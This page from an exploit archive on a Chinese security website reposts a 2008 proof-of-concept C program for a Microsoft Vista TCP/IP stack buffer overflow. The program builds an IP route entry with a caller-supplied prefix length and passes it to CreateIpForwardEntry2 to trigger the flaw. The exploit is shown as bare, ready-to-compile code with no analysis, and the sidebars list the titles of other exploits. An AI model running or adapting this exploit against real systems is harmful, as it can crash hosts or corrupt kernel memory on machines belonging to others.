首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Exploits Microsoft VISTA TCP/IP stack buffer overflow
来源:t.unterleitner_(at)_phion.com 作者:Unterleitner 发布时间:2008-11-20  
#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2ipdef.h>
#include <iphlpapi.h>

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
       DWORD                      dwStatus;
       MIB_IPFORWARD_ROW2 route;
       
       if (argc != 3)
       {
               printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
               return -1;
       }

       InitializeIpForwardEntry(&route);       

       route.InterfaceIndex = atoi(argv[1]);
       route.DestinationPrefix.Prefix.si_family = AF_INET;

       route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");     
       route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;

       route.DestinationPrefix.PrefixLength = atoi(argv[2]);
       
       route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");  
       route.NextHop.Ipv4.sin_family       = AF_INET;

       route.SitePrefixLength          = 0;

       route.Protocol                  = MIB_IPPROTO_NETMGMT;          
       route.Origin                            = NlroManual;
       route.ValidLifetime             = 0xffffffff;
       route.PreferredLifetime         = 0xffffffff;
       route.Metric                            = 1;
       
       dwStatus = CreateIpForwardEntry2(&route);
       return dwStatus;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MauryCMS <= 0.53.2 Remote Shel
·Portfolio <= 0.3 Remote Arbitr
·MyTopix <= 1.3.0 (notes send)
·Exodus 0.10 (uri handler) Arbi
·PunBB (Private Messaging Syste
·PunBB Mod PunPortal 0.1 Local
·Chilkat Socket activex 2.3.1.1
·wPortfolio <= 0.3 Admin Passwo
·FREEze Greetings 1.0 Remote Pa
·PHP-Fusion 7.00.1 (messages.ph
·Opera 9.62 file:// Local Heap
·vBulletin 3.7.3 Visitor Messag
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved